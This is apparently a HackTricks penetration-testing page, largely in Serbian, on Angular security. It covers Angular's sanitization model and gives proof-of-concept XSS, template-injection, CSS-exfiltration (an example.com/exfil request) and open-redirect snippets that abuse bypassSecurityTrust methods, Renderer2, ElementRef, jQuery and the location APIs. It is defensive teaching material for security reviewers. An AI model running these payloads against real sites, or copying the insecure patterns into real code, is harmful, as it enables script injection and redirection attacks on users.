HackTricks TrainingTwitterLinkedinSponsor

Angular

The Checklist

Checklist from here.

What is Angular

Angular je moćan i open-source front-end framework koji održava Google. Koristi TypeScript za poboljšanje čitljivosti koda i debagovanja. Sa jakim bezbednosnim mehanizmima, Angular sprečava uobičajene ranjivosti sa strane klijenta kao što su XSS i otvoreni preusmeravanja. Može se koristiti i na server-side, što čini bezbednosne aspekte važnim iz oba ugla.

Framework architecture

Da bismo bolje razumeli osnove Angular-a, hajde da prođemo kroz njegove suštinske koncepte.

Uobičajeni Angular projekat obično izgleda ovako:

my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Prema dokumentaciji, svaka Angular aplikacija ima barem jednu komponentu, korensku komponentu (AppComponent) koja povezuje hijerarhiju komponenti sa DOM-om. Svaka komponenta definiše klasu koja sadrži podatke i logiku aplikacije, i povezana je sa HTML šablonom koji definiše prikaz koji će biti prikazan u ciljanom okruženju. Dekorator @Component() identifikuje klasu odmah ispod njega kao komponentu, i pruža šablon i povezane metapodatke specifične za komponentu. AppComponent je definisan u app.component.ts datoteci.

Angular NgModules deklariraju kontekst kompilacije za skup komponenti koji je posvećen domenu aplikacije, radnom toku ili usko povezanim skupovima mogućnosti. Svaka Angular aplikacija ima korenski modul, konvencionalno nazvan AppModule, koji pruža mehanizam za pokretanje koji pokreće aplikaciju. Aplikacija obično sadrži mnoge funkcionalne module. AppModule je definisan u app.module.ts datoteci.

Angular Router NgModule pruža uslugu koja vam omogućava da definišete navigacioni put među različitim stanjima aplikacije i hijerarhijama prikaza u vašoj aplikaciji. RouterModule je definisan u app-routing.module.ts datoteci.

Za podatke ili logiku koja nije povezana sa specifičnim prikazom, i koju želite da delite među komponentama, kreirate klasu usluge. Definicija klase usluge odmah prethodi dekoratoru @Injectable(). Dekorator pruža metapodatke koji omogućavaju drugim provajderima da budu injektovani kao zavisnosti u vašu klasu. Injekcija zavisnosti (DI) vam omogućava da zadržite klase komponenti vitkim i efikasnim. One ne preuzimaju podatke sa servera, ne validiraju korisnički unos, niti direktno beleže u konzolu; one delegiraju takve zadatke uslugama.

Konfiguracija sourcemap-a

Angular okvir prevodi TypeScript datoteke u JavaScript kod prateći tsconfig.json opcije i zatim gradi projekat sa angular.json konfiguracijom. Gledajući angular.json datoteku, primetili smo opciju za omogućavanje ili onemogućavanje sourcemap-a. Prema Angular dokumentaciji, podrazumevana konfiguracija ima sourcemap datoteku omogućenu za skripte i nije skrivena po defaultu:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Generalno, sourcemap datoteke se koriste za svrhe debagovanja jer mapiraju generisane datoteke na njihove originalne datoteke. Stoga, nije preporučljivo koristiti ih u produkcionom okruženju. Ako su sourcemaps omogućeni, poboljšava se čitljivost i pomaže u analizi datoteka replicirajući originalno stanje Angular projekta. Međutim, ako su onemogućeni, recenzent može još uvek ručno analizirati kompajliranu JavaScript datoteku pretražujući anti-bezbednosne obrasce.

Pored toga, kompajlirana JavaScript datoteka sa Angular projektom može se pronaći u alatima za razvoj preglednika → Izvori (ili Debager i Izvori) → [id].main.js. U zavisnosti od omogućenih opcija, ova datoteka može sadržati sledeći red na kraju //# sourceMappingURL=[id].main.js.map ili možda neće, ako je opcija hidden postavljena na true. Ipak, ako je sourcemap onemogućen za scripts, testiranje postaje složenije i ne možemo dobiti datoteku. Pored toga, sourcemap može biti omogućen tokom izgradnje projekta kao ng build --source-map.

Data binding

Binding se odnosi na proces komunikacije između komponente i njenog odgovarajućeg prikaza. Koristi se za prenos podataka ka i od Angular okvira. Podaci se mogu prenositi na različite načine, kao što su događaji, interpolacija, svojstva ili putem mehanizma dvosmernog povezivanja. Štaviše, podaci se takođe mogu deliti između povezanih komponenti (odnos roditelj-dete) i između dve nepovezane komponente koristeći funkciju Servis.

Možemo klasifikovati binding prema protoku podataka:

  • Izvor podataka ka cilju prikaza (uključuje interpolaciju, svojstva, atribute, klase i stilove); može se primeniti korišćenjem [] ili {{}} u šablonu;

  • Cilj prikaza ka izvoru podataka (uključuje događaje); može se primeniti korišćenjem () u šablonu;

  • Dvosmerno; može se primeniti korišćenjem [()] u šablonu.

Binding se može pozvati na svojstvima, događajima i atributima, kao i na bilo kojem javnom članu izvorne direktive:

TIP
CILJ
PRIMERI

Svojstvo

Svojstvo elementa, Svojstvo komponente, Svojstvo direktive

<img [alt]="hero.name" [src]="heroImageUrl">

Događaj

Događaj elementa, Događaj komponente, Događaj direktive

<button type="button" (click)="onSave()">Sačuvaj

Dvosmerno

Događaj i svojstvo

<input [(ngModel)]="name">

Atribut

Atribut (izuzetak)

<button type="button" [attr.aria-label]="help">pomoć

Klasa

svojstvo klase

<div [class.special]="isSpecial">Specijal

Stil

svojstvo stila

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular security model

Dizajn Angular-a uključuje kodiranje ili sanitizaciju svih podataka po defaultu, čineći sve teže otkriti i iskoristiti XSS ranjivosti u Angular projektima. Postoje dva različita scenarija za rukovanje podacima:

  1. Interpolacija ili {{user_input}} - vrši kodiranje osetljivo na kontekst i tumači korisnički unos kao tekst;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Rezultat: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Povezivanje sa svojstvima, atributima, klasama i stilovima ili [attribute]="user_input" - vrši sanitizaciju na osnovu pruženog sigurnosnog konteksta.

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Rezultat: <div><h1>test</h1></div>

Postoji 6 tipova SecurityContext :

  • None;

  • HTML se koristi kada se tumači vrednost kao HTML;

  • STYLE se koristi kada se povezuje CSS u style svojstvo;

  • URL se koristi za URL svojstva, kao što je <a href>;

  • SCRIPT se koristi za JavaScript kod;

  • RESOURCE_URL kao URL koji se učitava i izvršava kao kod, na primer, u <script src>.

Vulnerabilities

Bypass Security Trust methods

Angular uvodi listu metoda za zaobilaženje svog defaultnog procesa sanitizacije i za označavanje da se vrednost može sigurno koristiti u određenom kontekstu, kao u sledećih pet primera:

  1. bypassSecurityTrustUrl se koristi za označavanje da je data vrednost siguran stil URL:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Klikni me</a>

//rezultat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Klikni me</a>

  1. bypassSecurityTrustResourceUrl se koristi za označavanje da je data vrednost siguran resurs URL:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//rezultat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">

  1. bypassSecurityTrustHtml se koristi za označavanje da je data vrednost siguran HTML. Imajte na umu da umetanje script elemenata u DOM stablo na ovaj način neće uzrokovati njihovo izvršavanje zatvorenog JavaScript koda, zbog načina na koji se ovi elementi dodaju u DOM stablo.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//rezultat
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>

  1. bypassSecurityTrustScript se koristi za označavanje da je data vrednost siguran JavaScript. Međutim, otkrili smo da je njegovo ponašanje nepredvidivo, jer nismo mogli da izvršimo JS kod u šablonima koristeći ovu metodu.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//rezultat
-

  1. bypassSecurityTrustStyle se koristi za označavanje da je data vrednost siguran CSS. Sledeći primer ilustruje CSS injekciju:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//rezultat
Request URL: GET example.com/exfil/a

Angular pruža metodu sanitize za sanitizaciju podataka pre nego što ih prikaže u prikazima. Ova metoda koristi pruženi sigurnosni kontekst i čisti unos u skladu s tim. Međutim, ključno je koristiti ispravan sigurnosni kontekst za specifične podatke i kontekst. Na primer, primena sanitizatora sa SecurityContext.URL na HTML sadržaj ne pruža zaštitu od opasnih HTML vrednosti. U takvim scenarijima, zloupotreba sigurnosnog konteksta može dovesti do XSS ranjivosti.

HTML injection

Ova ranjivost se javlja kada je korisnički unos povezan sa bilo kojim od tri svojstva: innerHTML, outerHTML, ili iframe srcdoc. Dok povezivanje sa ovim atributima tumači HTML onako kako jeste, unos se sanitizuje koristeći SecurityContext.HTML. Tako, HTML injekcija je moguća, ali cross-site scripting (XSS) nije.

Primer korišćenja innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Rezultat je <div><h1>test</h1></div>.

Ubrizgavanje šablona

Renderovanje na klijentskoj strani (CSR)

Angular koristi šablone za dinamičko konstruisanje stranica. Ovaj pristup podrazumeva obuhvatanje izraza šablona koje Angular treba da proceni unutar dvostrukih vitičastih zagrada ({{}}). Na ovaj način, okvir nudi dodatnu funkcionalnost. Na primer, šablon kao što je {{1+1}} biće prikazan kao 2.

Obično, Angular escapuje korisnički unos koji se može pomešati sa izrazima šablona (npr. karakteri kao što su `< > ' " ``). To znači da su potrebni dodatni koraci da se zaobiđe ovo ograničenje, kao što je korišćenje funkcija koje generišu JavaScript string objekte kako bi se izbeglo korišćenje zabranjenih karaktera. Međutim, da bismo to postigli, moramo uzeti u obzir Angular kontekst, njegove osobine i promenljive. Stoga, napad ubrizgavanja šablona može izgledati ovako:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Kao što je prikazano iznad: constructor se odnosi na opseg svojstva objekta constructor, omogućavajući nam da pozovemo String konstruktor i izvršimo proizvoljan kod.

Renderovanje na serveru (SSR)

Za razliku od CSR, koje se dešava u DOM-u pregledača, Angular Universal je odgovoran za SSR datoteka šablona. Ove datoteke se zatim isporučuju korisniku. I pored ove razlike, Angular Universal primenjuje iste mehanizme sanitizacije koji se koriste u CSR kako bi poboljšao sigurnost SSR-a. Ranljivost injekcije šablona u SSR može se uočiti na isti način kao u CSR, jer je korišćeni jezik šablona isti.

Naravno, postoji i mogućnost uvođenja novih ranjivosti injekcije šablona kada se koriste treće strane šablonski motori kao što su Pug i Handlebars.

XSS

DOM interfejsi

Kao što je prethodno navedeno, možemo direktno pristupiti DOM-u koristeći Document interfejs. Ako korisnički unos nije prethodno validiran, to može dovesti do ranjivosti skriptovanja između sajtova (XSS).

Koristili smo document.write() i document.createElement() metode u primerima ispod:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular klase

Postoje neke klase koje se mogu koristiti za rad sa DOM elementima u Angular-u: ElementRef, Renderer2, Location i Document. Detaljan opis poslednje dve klase dat je u sekciji Open redirects. Glavna razlika između prve dve je u tome što Renderer2 API pruža sloj apstrakcije između DOM elementa i koda komponente, dok ElementRef samo drži referencu na element. Stoga, prema Angular dokumentaciji, ElementRef API treba koristiti samo kao poslednje sredstvo kada je potreban direktan pristup DOM-u.

  • ElementRef sadrži svojstvo nativeElement, koje se može koristiti za manipulaciju DOM elementima. Međutim, nepravilna upotreba nativeElement može rezultirati ranjivošću na XSS injekciju, kao što je prikazano u nastavku:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}

  • I pored toga što Renderer2 pruža API koji se može sigurno koristiti čak i kada direktan pristup nativnim elementima nije podržan, i dalje ima neke sigurnosne nedostatke. Sa Renderer2, moguće je postaviti atribute na HTML element koristeći metodu setAttribute(), koja nema mehanizme za prevenciju XSS-a.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>

  • Da biste postavili svojstvo DOM elementa, možete koristiti metodu Renderer2.setProperty() i pokrenuti XSS napad:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Tokom našeg istraživanja, takođe smo ispitivali ponašanje drugih Renderer2 metoda, kao što su setStyle(), createComment(), i setValue(), u vezi sa XSS i CSS injekcijama. Međutim, nismo mogli da pronađemo validne napade za ove metode zbog njihovih funkcionalnih ograničenja.

jQuery

jQuery je brza, mala i bogata JavaScript biblioteka koja se može koristiti u Angular projektu za pomoć u manipulaciji HTML DOM objektima. Međutim, kao što je poznato, metode ove biblioteke mogu biti iskorišćene za postizanje XSS ranjivosti. Da bismo razgovarali o tome kako se neke ranjive jQuery metode mogu iskoristiti u Angular projektima, dodali smo ovu podsekciju.

  • Metoda html() dobija HTML sadržaj prvog elementa u skupu usklađenih elemenata ili postavlja HTML sadržaj svakog usklađenog elementa. Međutim, po dizajnu, svaki jQuery konstruktor ili metoda koja prihvata HTML string može potencijalno izvršiti kod. To se može dogoditi injekcijom <script> tagova ili korišćenjem HTML atributa koji izvršavaju kod, kao što je prikazano u primeru.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>

  • Metoda jQuery.parseHTML() koristi nativne metode za konvertovanje stringa u skup DOM čvorova, koji se zatim mogu umetnuti u dokument.

jQuery.parseHTML(data [, context ] [, keepScripts ])

Kao što je ranije pomenuto, većina jQuery API-ja koji prihvataju HTML stringove će pokrenuti skripte koje su uključene u HTML. Metoda jQuery.parseHTML() ne pokreće skripte u analiziranom HTML-u osim ako keepScripts nije eksplicitno true. Međutim, i dalje je moguće u većini okruženja izvršiti skripte indirektno; na primer, putem atributa <img onerror>.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOM interfejsi

Prema W3C dokumentaciji, objekti window.location i document.location se tretiraju kao aliasi u modernim pretraživačima. Zbog toga imaju sličnu implementaciju nekih metoda i svojstava, što može izazvati otvoreni preusmeravanje i DOM XSS sa javascript:// shematskim napadima, kao što je pomenuto u nastavku.

  • window.location.href(i document.location.href)

Kanonicki način da se dobije trenutni DOM lokacijski objekat je korišćenje window.location. Takođe se može koristiti za preusmeravanje pretraživača na novu stranicu. Kao rezultat, kontrola nad ovim objektom omogućava nam da iskoristimo ranjivost otvorenog preusmeravanja.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Proces eksploatacije je identičan za sledeće scenarije.

  • window.location.assign()(i document.location.assign())

Ova metoda uzrokuje da prozor učita i prikaže dokument na URL-u koji je naveden. Ako imamo kontrolu nad ovom metodom, to može biti izvor za napad otvorenog preusmeravanja.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}

  • window.location.replace()(i document.location.replace())

Ova metoda zamenjuje trenutni resurs onim na datom URL-u.

Ovo se razlikuje od assign() metode po tome što nakon korišćenja window.location.replace(), trenutna stranica neće biti sačuvana u istoriji sesije. Međutim, takođe je moguće iskoristiti ranjivost otvorenog preusmeravanja kada imamo kontrolu nad ovom metodom.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}

  • window.open()

Metoda window.open() uzima URL i učitava resurs koji identifikuje u novoj ili postojećoj kartici ili prozoru. Kontrola nad ovom metodom takođe može biti prilika za pokretanje XSS ili otvorene ranjivosti preusmeravanja.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular klase

  • Prema Angular dokumentaciji, Angular Document je isto što i DOM dokument, što znači da je moguće koristiti zajedničke vektore za DOM dokument kako bi se iskoristile ranjivosti na klijentskoj strani u Angular-u. Document.location svojstva i metode mogu biti izvori za uspešne napade otvorenog preusmeravanja, kao što je prikazano u primeru:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

  • Tokom istraživačke faze, takođe smo pregledali Angular Location klasu za ranjivosti otvorenog preusmeravanja, ali nisu pronađeni validni vektori. Location je Angular servis koji aplikacije mogu koristiti za interakciju sa trenutnim URL-om pretraživača. Ova usluga ima nekoliko metoda za manipulaciju datim URL-om - go(), replaceState(), i prepareExternalUrl(). Međutim, ne možemo ih koristiti za preusmeravanje na eksternu domenu. Na primer:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Rezultat: http://localhost:4200/http://google.com/about

  • Angular Router klasa se prvenstveno koristi za navigaciju unutar iste domene i ne uvodi dodatne ranjivosti u aplikaciju:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Rezultat: http://localhost:4200/https:

Sledeće metode takođe navigiraju unutar domena:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Reference

PreviousAEM - Adobe Experience CloudNextApache

Last updated